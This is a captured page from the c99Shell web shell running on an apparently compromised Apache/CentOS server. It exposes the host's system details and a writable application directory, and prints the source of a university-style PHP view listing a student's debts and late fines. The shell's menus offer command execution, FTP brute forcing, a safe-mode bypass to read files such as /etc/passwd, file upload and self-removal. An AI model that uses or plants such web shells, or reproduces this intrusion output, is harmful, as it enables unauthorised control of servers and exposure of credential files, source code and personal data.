!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showDetailRfAndDbAndLateFine.php (3.73 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$rowStd 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
?>
<title>หนี้สินทั้งหมดของนักศึกษา ก่อนจบการศึกษา</title>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><table class="szone">
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td height="22"><font size="2"><b>รหัสนักศึกษา</b> <?php echo $rowStd->stdCode;?></font></td>
                <td colspan="2"><font size="2"><b>ชื่อ-สกุล</b> <?php echo $rowStd->prefixName.$rowStd->stdName.' '.$rowStd->stdSurname;?></font></td>
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td height="22" colspan="3"><font size="2" ><b>หลักสูตร</b> <?php echo $rowStd->curName;?></font></td>
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td width="35%" height="22"><font size="2" ><b>ปีการศึกษา</b> <?php echo $acY;?></font></td>
                <td width="35%"><font size="2" ><b>ภาคการศึกษา</b> <?php echo $tm;?></font></td>
                <td width="30%"><font size="2" ><b>ชั้นปี</b> <?php echo $rowStd->syCode;?></font></td>
            </tr>
        </table></td>
    </tr>
    <tr>
        <td align="center">
            <table class="headCol">
            <tr>
                <th class="seqCol">ที่</th>
                <th>รายการ</th>
                <th>ค้างชำระ</th>
            </tr>
<?php
$sumRemainPay 
0;
$i 0;
if(isset(
$arr) && $arr!=NULL) {
    foreach(
$arr as $key => $value) {
        
$sumRemainPay += $arr[$key]['rf']->rfBalance;
                echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td height="22" align="center"><font size="2"><?php echo $i+1;?></font></td>
                <td><font size="2"><?php echo 'ค่าลงทะเบียน '.$arr[$key]['rf']->rfTmId.'/'.$arr[$key]['rf']->rfAcY;?></font></td>
                <td align="right"><font size="2" ><?php echo number_format($arr[$key]['rf']->rfBalance,2);?></font></td>
            </tr>
<?php
        $i
++;
        if(
$arr[$key]['pm']->num_rows()) {
            foreach(
$arr[$key]['pm']->result() as $rowPm) {
                if(
$rowPm->pmLateStatus=='Y')
                    
$sumRemainPay += $rowPm->pfLateFine;
                echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";

?>
                <td height="22" align="center"><font size="2"><?php echo $i+1;?></font></td>
                <td><font size="2"><?php echo 'ค่าปรับล่าช้าในการลงทะเบียน '.$arr[$key]['rf']->rfTmId.'/'.$arr[$key]['rf']->rfAcY.' ('.fullDate(splitDateDb($rowPm->pmDate)).')';?></font></td>
                <td align="right"><font size="2"><?php echo ($rowPm->pmLateStatus=='Y') ? number_format($rowPm->pmLateFine2) : '0.00';?></font></td>
            </tr>

<?php
                $i
++;
            }
        }
    }
// end if isset arr
                
echo "<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td height="22" align="center"><font size="2"><?php echo $i+1;?></font></td>
                <td><font size="2">หนี้สินอื่นๆ</font></td>
                <td align="right"><font size="2"><?php echo number_format($dbt,2);?></font></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('rg_head_tb_headCol');?>">
                <td colspan="2" align="right"><b>รวมค้างชำระทั้งหมด</b></span></td>
                <td align="right"><span><?php echo number_format($sumRemainPay+$dbt2);?></span></td>
            </tr>
        </table></td>
    </tr>
    <tr>
        <td height="22"></td>
    </tr>
    <tr>
        <td align="center"><input type="submit" name="close" value="ปิดหน้าต่าง" onClick="javascript:window.close();"></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--